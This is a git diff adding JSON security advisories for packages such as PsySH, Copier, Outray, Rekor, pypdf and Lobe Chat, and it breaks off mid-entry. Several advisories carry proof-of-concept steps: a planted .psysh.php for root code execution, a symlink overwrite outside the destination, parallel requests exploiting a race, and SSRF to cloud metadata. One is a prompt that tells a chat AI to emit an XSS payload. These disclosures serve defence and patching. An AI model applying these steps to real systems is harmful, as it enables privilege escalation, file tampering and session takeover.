{ + "ecosystem": "Packagist", + "name": "mineadmin/mineadmin" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.0.0" + }, + { + "last_affected": "2.0.3" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1195" + }, + { + "type": "WEB", + "url": "https://github.com/SourByte05/MineAdmin-Vulnerability/issues/4" + }, + { + "type": "PACKAGE", + "url": "https://github.com/mineadmin/mineadmin" + }, + { + "type": "WEB", + "url": "https://vuldb.com/?ctiid.341780" + }, + { + "type": "WEB", + "url": "https://vuldb.com/?id.341780" + }, + { + "type": "WEB", + "url": "https://vuldb.com/?submit.734272" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-345" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2026-01-21T15:47:33Z", + "nvd_published_at": "2026-01-20T01:15:56Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-444m-px7r-qpvv/GHSA-444m-px7r-qpvv.json b/advisories/github-reviewed/2026/01/GHSA-444m-px7r-qpvv/GHSA-444m-px7r-qpvv.json new file mode 100644 index 0000000000000..4794a4f3d7e4f --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-444m-px7r-qpvv/GHSA-444m-px7r-qpvv.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-444m-px7r-qpvv", + "modified": "2026-01-28T16:01:17Z", + "published": "2026-01-27T09:30:30Z", + "aliases": [ + "CVE-2026-24819" + ], + "summary": "weixin4j has Improperly Controlled Sequential Memory Allocation ", + "details": "Improperly Controlled Sequential Memory Allocation vulnerability in foxinmy weixin4j (weixin4j-base/src/main/java/com/foxinmy/weixin4j/util modules). This vulnerability is associated with program files CharArrayBuffer.Java, ClassUtil.Java.\n\nThis issue affects all versions of weixin4j. A path is available: [d1c8258](https://github.com/foxinmy/weixin4j/commit/4b7ad14df6567064b468b4c9cb7a8bfeff48c8bd)", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/AU:Y/R:A/V:D/RE:M/U:Amber" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "com.foxinmy:weixin4j-base" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "1.10.2" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24819" + }, + { + "type": "WEB", + "url": "https://github.com/foxinmy/weixin4j/pull/229" + }, + { + "type": "WEB", + "url": "https://github.com/foxinmy/weixin4j/commit/d1c825835802cd3a0c04772be1220ff4476ea27c" + }, + { + "type": "PACKAGE", + "url": "https://github.com/foxinmy/weixin4j" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-1325" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-28T16:01:17Z", + "nvd_published_at": "2026-01-27T09:15:52Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-4486-gxhx-5mg7/GHSA-4486-gxhx-5mg7.json b/advisories/github-reviewed/2026/01/GHSA-4486-gxhx-5mg7/GHSA-4486-gxhx-5mg7.json new file mode 100644 index 0000000000000..58067757c7615 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-4486-gxhx-5mg7/GHSA-4486-gxhx-5mg7.json @@ -0,0 +1,94 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-4486-gxhx-5mg7", + "modified": "2026-01-31T03:54:31Z", + "published": "2026-01-30T21:28:44Z", + "aliases": [ + "CVE-2026-25129" + ], + "summary": "PsySH has Local Privilege Escalation via CWD .psysh.php auto-load", + "details": "### Summary\nPsySH automatically loads and executes a `.psysh.php` file from the Current Working Directory (CWD) on startup. If an attacker can write to a directory that a victim later uses as their CWD when launching PsySH, the attacker can trigger arbitrary code execution in the victim's context. When the victim runs PsySH with elevated privileges (e.g., root), this results in local privilege escalation.\n\n### Details\nPsySH supports per-directory configuration via a `.psysh.php` file located in the process CWD. This file is executed implicitly when PsySH starts, without requiring explicit opt-in and without validating that the file and directory are safe (e.g., owned by the current user and not group/world-writable).\n\nThis enables a CWD poisoning scenario: a low-privileged user can plant a malicious `.psysh.php` in any directory they can write to, then wait for a higher-privileged user to start PsySH while their shell is in that directory.\n\n### PoC\n1. As a low-privileged user, create a malicious `.psysh.php` in an attacker-writable directory (example: `/tmp`):\n\n```bash\nbob@localhost:/tmp$ echo \" poc.txt'); ?>\" > .psysh.php\nbob@localhost:/tmp# ls -lah .psysh.php\n-rw-r--r-- 1 bob bob 33 Jan 28 11:17 .psysh.php\n```\n\n2. As the victim user, start PsySH with CWD set to that directory and exit:\n\n```bash\nroot@localhost:/tmp# cd /tmp\nroot@localhost:/tmp# ./psysh\nPsy Shell v0.12.18 (PHP 8.1.2-1ubuntu2.23 — cli) by Justin Hileman\nNew PHP manual is available (latest: 3.0.1). Update with `doc --update-manual`\n> exit\n\n INFO Goodbye.\n\n```\n\n3. Verify code execution triggered in the victim context:\n\n```bash\nbob@localhost:/tmp$ ls -lah poc.txt\n-rw-r--r-- 1 root root 39 Jan 28 11:19 poc.txt\nbob@localhost:/tmp$ cat poc.txt\nuid=0(root) gid=0(root) groups=0(root)\n````\n\n\n### Impact\n\nThis is a CWD configuration poisoning issue leading to arbitrary code execution in the victim user’s context. If a privileged user (e.g., root, a CI runner, or an ops/debug account) launches PsySH with CWD set to an attacker-writable directory containing a malicious `.psysh.php`, the attacker can execute commands with that privileged user’s permissions, resulting in local privilege escalation.\n\nDownstream consumers that embed PsySH inherit this risk. For example, Laravel Tinker (`php artisan tinker`) uses PsySH. If a privileged user runs Tinker while their shell is in an attacker-writable directory, the `.psysh.php` auto-load behavior can be abused in the same way to execute attacker-controlled code under the victim’s privileges.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "psy/psysh" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.12.0" + }, + { + "fixed": "0.12.19" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 0.12.18" + } + }, + { + "package": { + "ecosystem": "Packagist", + "name": "psy/psysh" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.11.23" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 0.11.22" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/bobthecow/psysh/security/advisories/GHSA-4486-gxhx-5mg7" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25129" + }, + { + "type": "PACKAGE", + "url": "https://github.com/bobthecow/psysh" + }, + { + "type": "WEB", + "url": "https://github.com/bobthecow/psysh/releases/tag/v0.11.23" + }, + { + "type": "WEB", + "url": "https://github.com/bobthecow/psysh/releases/tag/v0.12.19" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-427" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-30T21:28:44Z", + "nvd_published_at": "2026-01-30T21:15:58Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-44jg-mv3h-wj6g/GHSA-44jg-mv3h-wj6g.json b/advisories/github-reviewed/2026/01/GHSA-44jg-mv3h-wj6g/GHSA-44jg-mv3h-wj6g.json new file mode 100644 index 0000000000000..6b6e087ea34d7 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-44jg-mv3h-wj6g/GHSA-44jg-mv3h-wj6g.json @@ -0,0 +1,63 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-44jg-mv3h-wj6g", + "modified": "2026-01-15T22:40:42Z", + "published": "2026-01-15T22:40:42Z", + "aliases": [], + "summary": "solspace/craft-freeform Vulnerable to XSS in `PhpSpreadsheet` HTML Writer Due to Unsanitized Styling Data", + "details": "### Summary\n_Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._\n\n\\PhpOffice\\PhpSpreadsheet\\Writer\\Html doesn't sanitize spreadsheet styling information such as font names, allowing an attacker to inject arbitrary JavaScript on the page.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\nSee https://github.com/advisories/GHSA-wgmf-q9vr-vww6\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\nExample target script:\n\n```\nload(__DIR__ . '/book.xlsx');\n\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\nprint($writer->generateHTMLAll());\n```\n\nSave this file in the same directory:\n\n[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15212797/book.xlsx)\n\nOpen index.php in a web browser. An alert should be displayed.\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nFull takeover of the session of users viewing spreadsheet files as HTML.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "solspace/craft-freeform" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "4.1.23" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-wgmf-q9vr-vww6" + }, + { + "type": "WEB", + "url": "https://github.com/solspace/craft-freeform/security/advisories/GHSA-44jg-mv3h-wj6g" + }, + { + "type": "PACKAGE", + "url": "https://github.com/solspace/craft-freeform" + }, + { + "type": "WEB", + "url": "https://github.com/solspace/craft-freeform/releases/tag/v4.1.23" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2026-01-15T22:40:42Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-45hj-9x76-wp9g/GHSA-45hj-9x76-wp9g.json b/advisories/github-reviewed/2026/01/GHSA-45hj-9x76-wp9g/GHSA-45hj-9x76-wp9g.json new file mode 100644 index 0000000000000..e12f7ff8ff1d1 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-45hj-9x76-wp9g/GHSA-45hj-9x76-wp9g.json @@ -0,0 +1,73 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-45hj-9x76-wp9g", + "modified": "2026-01-14T19:50:51Z", + "published": "2026-01-13T21:53:30Z", + "aliases": [ + "CVE-2026-22819" + ], + "summary": "Outray has a Race Condition in the cli's webapp", + "details": "### Summary\nThis vulnerability allows a user i.e a free plan user to get more than the desired subdomains due to lack of db transaction lock mechanisms in `https://github.com/akinloluwami/outray/blob/main/apps/web/src/routes/api/%24orgSlug/subdomains/index.ts`\n\n### Details\n- The affected code-:\n\n```ts\n//Race condition\n const [subscription] = await db\n .select()\n .from(subscriptions)\n .where(eq(subscriptions.organizationId, organization.id));\n\n const currentPlan = subscription?.plan || \"free\";\n const planLimits = getPlanLimits(currentPlan as any);\n const subdomainLimit = planLimits.maxSubdomains;\n\n const existingSubdomains = await db\n .select()\n .from(subdomains)\n .where(eq(subdomains.organizationId, organization.id));\n\n if (existingSubdomains.length >= subdomainLimit) {\n return json(\n {\n error: `Subdomain limit reached. The ${currentPlan} plan allows ${subdomainLimit} subdomain${subdomainLimit > 1 ? \"s\" : \"\"}.`,\n },\n { status: 403 },\n );\n }\n\n const existing = await db\n .select()\n .from(subdomains)\n .where(eq(subdomains.subdomain, subdomain))\n .limit(1);\n\n if (existing.length > 0) {\n return json({ error: \"Subdomain already taken\" }, { status: 409 });\n }\n\n const [newSubdomain] = await db\n .insert(subdomains)\n .values({\n id: crypto.randomUUID(),\n subdomain,\n organizationId: organization.id,\n userId: session.user.id,\n })\n .returning();\n```\n\n- The first part of the code checks the user plan and determine his/her existing_domains without locking the transaction and allowing it to run.\n```ts\nconst existingSubdomains = await db\n .select()\n .from(subdomains)\n .where(eq(subdomains.organizationId, organization.id));\n```\n\n- The other part of the code checks if the desired domain is more than the limit.\n\n```ts\nif (existingSubdomains.length >= subdomainLimit) {\n return json(\n {\n error: `Subdomain limit reached. The ${currentPlan} plan allows ${subdomainLimit} subdomain${subdomainLimit > 1 ? \"s\" : \"\"}.`,\n },\n { status: 403 },\n );\n }\n```\n\n- Finally, it inserts the subdomain also after the whole check without locking transactions.\n\n```ts\nconst [newSubdomain] = await db\n .insert(subdomains)\n .values({\n id: crypto.randomUUID(),\n subdomain,\n organizationId: organization.id,\n userId: session.user.id,\n })\n .returning();\n```\n- An attacker can exploit this by making parallel requests to the same endpoint and if the second request reads row `subdomains` before the `INSERT` statement of request one is made.It allows the attacker to act on a not yet updated row which bypasses the checks and allow the attacker to get more subdomains.For example-:\n\n```\n Parallel request 1 Parallel Request 2 \n | |\nchecks for Checks the not yet updated\navailable subdomain row and bypasses the logic checks\nand determines if it is more than limit\n | |\nInserts subdomain and calls it a day Also inserts the subdomain\n```\n- The attack focuses on exploiting the race window between reading and writing the db rows.\n\n### PoC\n\n- Intercept with Burp proxy,pass to `Repeater` and create multiple requests in a single batch with different subdomain names as seen below. Lastly, send the requests in `parallel`.\n\n\"image\"\n\n- Result-:\n\n\"image\"\n\n\n### Impact\nThe vulnerability provides an infiinite supply of domains to users bypassing the need for subscription", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "outray" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.1.5" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/akinloluwami/outray/security/advisories/GHSA-45hj-9x76-wp9g" + }, + { + "type": "WEB", + "url": "https://github.com/outray-tunnel/outray/security/advisories/GHSA-45hj-9x76-wp9g" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22819" + }, + { + "type": "WEB", + "url": "https://github.com/outray-tunnel/outray/commit/08c61495761349e7fd2965229c3faa8d7b1c1581" + }, + { + "type": "WEB", + "url": "https://github.com/outray-tunnel/outray/commit/73e8a09575754fb4c395438680454b2ec064d1d6" + }, + { + "type": "PACKAGE", + "url": "https://github.com/akinloluwami/outray" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-366" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-13T21:53:30Z", + "nvd_published_at": "2026-01-14T18:16:42Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-4c4x-jm2x-pf9j/GHSA-4c4x-jm2x-pf9j.json b/advisories/github-reviewed/2026/01/GHSA-4c4x-jm2x-pf9j/GHSA-4c4x-jm2x-pf9j.json new file mode 100644 index 0000000000000..e427989f9b3df --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-4c4x-jm2x-pf9j/GHSA-4c4x-jm2x-pf9j.json @@ -0,0 +1,72 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-4c4x-jm2x-pf9j", + "modified": "2026-01-23T15:49:13Z", + "published": "2026-01-22T18:41:26Z", + "aliases": [ + "CVE-2026-24117" + ], + "summary": "Rekor affected by Server-Side Request Forgery (SSRF) via provided public key URL", + "details": "## Summary\n\n`/api/v1/index/retrieve` supports retrieving a public key via a user-provided URL, allowing attackers to trigger SSRF to arbitrary internal services.\n\nSince the SSRF only can trigger GET requests, the request cannot mutate state. The response from the GET request is not returned to the caller so data exfiltration is not possible. A malicious actor could attempt to probe an internal network through [Blind SSRF](https://portswigger.net/web-security/ssrf/blind).\n\n## Impact\n\n* SSRF to cloud metadata (169.254.169.254)\n* SSRF to internal Kubernetes APIs\n* SSRF to any service accessible from Fulcio's network\n\n## Patches\n\nUpgrade to v1.5.0. Note that this is a breaking change to the search API and fully disables lookups by URL. If you require this feature, please reach out and we can discuss alternatives.\n\n## Workarounds\n\nDisable the search endpoint with `--enable_retrieve_api=false`.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/sigstore/rekor" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.5.0" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 1.4.3" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/sigstore/rekor/security/advisories/GHSA-4c4x-jm2x-pf9j" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24117" + }, + { + "type": "WEB", + "url": "https://github.com/sigstore/rekor/commit/60ef2bceba192c5bf9327d003bceea8bf1f8275f" + }, + { + "type": "PACKAGE", + "url": "https://github.com/sigstore/rekor" + }, + { + "type": "WEB", + "url": "https://github.com/sigstore/rekor/releases/tag/v1.5.0" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-918" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-22T18:41:26Z", + "nvd_published_at": "2026-01-22T22:16:21Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-4c5f-9mj4-m247/GHSA-4c5f-9mj4-m247.json b/advisories/github-reviewed/2026/01/GHSA-4c5f-9mj4-m247/GHSA-4c5f-9mj4-m247.json new file mode 100644 index 0000000000000..eff67295f79ab --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-4c5f-9mj4-m247/GHSA-4c5f-9mj4-m247.json @@ -0,0 +1,101 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-4c5f-9mj4-m247", + "modified": "2026-01-05T15:07:46Z", + "published": "2026-01-05T15:07:05Z", + "aliases": [], + "summary": "flagd: Multiple Go Runtime CVEs Impact Security and Availability", + "details": "### Summary\nIn 2025, several vulnerabilities in the Go Standard Library were disclosed, impacting Go-based applications like flagd (the evaluation engine for OpenFeature). These CVEs primarily focus on Denial of Service (DoS) through resource exhaustion and Race Conditions in database handling. \n\n| CVE ID | Impacted Package | Severity | Description & Impact on flagd |\n| -- | -- | -- | -- |\n| CVE-2025-47907 | database/sql | 7.0 (High) | Race Condition: Canceling a query during a Scan call can return data from the wrong query. Critical if flagd uses SQL-based sync providers (e.g., Postgres), potentially leading to incorrect flag configurations. |\n| CVE-2025-61725 | net/mail | 7.5 (High) | DoS: Inefficient complexity in ParseAddress. Attackers can provide crafted email strings with large domain literals to exhaust CPU if flagd parses email-formatted metadata. |\n| CVE-2025-61723 | encoding/pem | 7.5 (High) | DoS: Quadratic complexity when parsing invalid PEM inputs. Relevant if flagd loads TLS certificates or keys via PEM files from untrusted sources. |\n| CVE-2025-61729 | crypto/x509 | 7.5 (High) | Resource Exhaustion: HostnameError.Error() lacks string concatenation limits. A malicious TLS certificate with thousands of hostnames could crash flagd during connection handshakes. |\n| CVE-2025-58188 | net/http | Medium | Request Smuggling: Improper header handling in HTTP/1.1. Could allow attackers to bypass security filters positioned in front of flagd sync or evaluation APIs. |\n| CVE-2025-58187 | archive/zip | Medium | DoS: Improper validation of malformed ZIP archives. Impacts flagd if configured to fetch and unpack zipped configuration bundles from remote providers. |", + "severity": [], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/open-feature/flagd/core" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.13.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/open-feature/flagd/flagd-proxy" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.8.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/open-feature/flagd/flagd" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.13.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/open-feature/flagd/security/advisories/GHSA-4c5f-9mj4-m247" + }, + { + "type": "WEB", + "url": "https://github.com/open-feature/flagd/pull/1840" + }, + { + "type": "PACKAGE", + "url": "https://github.com/open-feature/flagd" + }, + { + "type": "WEB", + "url": "https://github.com/open-feature/flagd/releases/tag/core%2Fv0.13.1" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-20", + "CWE-362", + "CWE-400", + "CWE-407", + "CWE-444", + "CWE-770" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-05T15:07:05Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-4f6g-68pf-7vhv/GHSA-4f6g-68pf-7vhv.json b/advisories/github-reviewed/2026/01/GHSA-4f6g-68pf-7vhv/GHSA-4f6g-68pf-7vhv.json new file mode 100644 index 0000000000000..98aa48aba49d8 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-4f6g-68pf-7vhv/GHSA-4f6g-68pf-7vhv.json @@ -0,0 +1,74 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-4f6g-68pf-7vhv", + "modified": "2026-01-11T14:53:40Z", + "published": "2026-01-09T19:48:57Z", + "aliases": [ + "CVE-2026-22691" + ], + "summary": "pypdf has possible long runtimes for malformed startxref", + "details": "### Impact\nAn attacker who exploits this vulnerability can craft a PDF which leads to possibly long runtimes for invalid `startxref` entries. When rebuilding the cross-reference table, PDF files with lots of whitespace characters become problematic. Only the non-strict reading mode is affected.\n\n### Patches\nThis has been fixed in [pypdf==6.6.0](https://github.com/py-pdf/pypdf/releases/tag/6.6.0).\n\n### Workarounds\n\n```python\nfrom pypdf import PdfReader, PdfWriter\n\n\n# Instead of\nreader = PdfReader(\"file.pdf\")\n# use the strict mode:\nreader = PdfReader(\"file.pdf\", strict=True)\n\n# Instead of\nwriter = PdfWriter(clone_from=\"file.pdf\")\n# use an explicit strict reader:\nwriter = PdfWriter(clone_from=PdfReader(\"file.pdf\", strict=True))\n```\n\n### Resources\nThis issue has been fixed in #3594.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "pypdf" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "6.6.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-4f6g-68pf-7vhv" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22691" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/pull/3594" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/commit/294165726b646bb7799be1cc787f593f2fdbcf45" + }, + { + "type": "PACKAGE", + "url": "https://github.com/py-pdf/pypdf" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/releases/tag/6.6.0" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-1333", + "CWE-400" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2026-01-09T19:48:57Z", + "nvd_published_at": "2026-01-10T05:16:08Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-4fqp-r85r-hxqh/GHSA-4fqp-r85r-hxqh.json b/advisories/github-reviewed/2026/01/GHSA-4fqp-r85r-hxqh/GHSA-4fqp-r85r-hxqh.json new file mode 100644 index 0000000000000..77ff30ae0d8b2 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-4fqp-r85r-hxqh/GHSA-4fqp-r85r-hxqh.json @@ -0,0 +1,73 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-4fqp-r85r-hxqh", + "modified": "2026-02-02T16:33:53Z", + "published": "2026-01-21T22:19:29Z", + "aliases": [ + "CVE-2026-23986" + ], + "summary": "Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true ", + "details": "### Impact\n\nCopier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with [`_preserve_symlinks: true`](https://copier.readthedocs.io/en/stable/configuring/#preserve_symlinks) and a [generated directory structure](https://copier.readthedocs.io/en/stable/configuring/#generating-a-directory-structure) whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.\n\n> [!NOTE]\n>\n> At the time of writing, the exploit is non-deterministic, as Copier walks the template's file tree using [`os.scandir`](https://docs.python.org/3/library/os.html#os.scandir) which yields directory entries in arbitrary order.\n\nReproducible example (may or may not work depending on directory entry yield order):\n\n```shell\nmkdir other/\npushd other/\necho \"sensitive\" > sensitive.txt\npopd\n\nmkdir src/\npushd src/\nln -s ../other other\necho \"overwritten\" > \"{{ pathjoin('other', 'sensitive.txt') }}.jinja\"\necho \"_preserve_symlinks: true\" > copier.yml\ntree .\n# .\n# ├── copier.yml\n# ├── other -> ../other\n# └── {{ pathjoin('other', 'sensitive.txt') }}.jinja\n#\n# 1 directory, 2 files\npopd\n\nuvx copier copy --overwrite src/ dst/\n\ncat other/sensitive.txt\n# overwritten\n```\n\n### Patches\n\nn/a\n\n### Workarounds\n\nn/a\n\n### References\n\nn/a", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "copier" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "9.11.2" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/copier-org/copier/security/advisories/GHSA-4fqp-r85r-hxqh" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23986" + }, + { + "type": "WEB", + "url": "https://github.com/copier-org/copier/commit/b3a7b3772d17cf0e7a4481978188c9f536c8d8f6" + }, + { + "type": "PACKAGE", + "url": "https://github.com/copier-org/copier" + }, + { + "type": "WEB", + "url": "https://github.com/copier-org/copier/releases/tag/v9.11.2" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-61" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-21T22:19:29Z", + "nvd_published_at": "2026-01-21T23:15:52Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-4gpc-rhpj-9443/GHSA-4gpc-rhpj-9443.json b/advisories/github-reviewed/2026/01/GHSA-4gpc-rhpj-9443/GHSA-4gpc-rhpj-9443.json new file mode 100644 index 0000000000000..fc5d6386f275f --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-4gpc-rhpj-9443/GHSA-4gpc-rhpj-9443.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-4gpc-rhpj-9443", + "modified": "2026-02-05T13:40:47Z", + "published": "2026-01-20T17:54:49Z", + "aliases": [ + "CVE-2026-23733" + ], + "summary": "Lobe Chat affected by Cross-Site Scripting(XSS) that can escalate to Remote Code Execution(RCE)", + "details": "### Summary\nA stored Cross-Site Scripting (XSS) vulnerability in the Mermaid artifact renderer allows attackers to execute arbitrary JavaScript within the application context. This XSS can be escalated to Remote Code Execution (RCE).\n\n### Details\nThe vulnerability exists in the `Renderer` component responsible for rendering Mermaid diagrams within chat artifacts.\n```TypeScript\ncase 'application/lobe.artifacts.mermaid': {\n return {content};\n}\n```\n\nThe `content` variable, which is derived from user or AI-generated messages, is passed directly to the `` component without any sanitization. The Mermaid library renders HTML labels (e.g., nodes defined with [\"...\"]) directly into the DOM. If the content contains malicious HTML tags (like ``), they are executed.\n\n\n\n### PoC\n````Text\nPlease output the following text exactly. Do not use code blocks:\n\n\n```mermaid\ngraph TD;\nA[\"\"];\n```\n\n````\n\n\"image\"\n\n\n\n### Impact\nRemote Code Execution (RCE)", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "@lobehub/chat" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "1.143.2" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-4gpc-rhpj-9443" + }, + { + "type": "WEB", + "url": 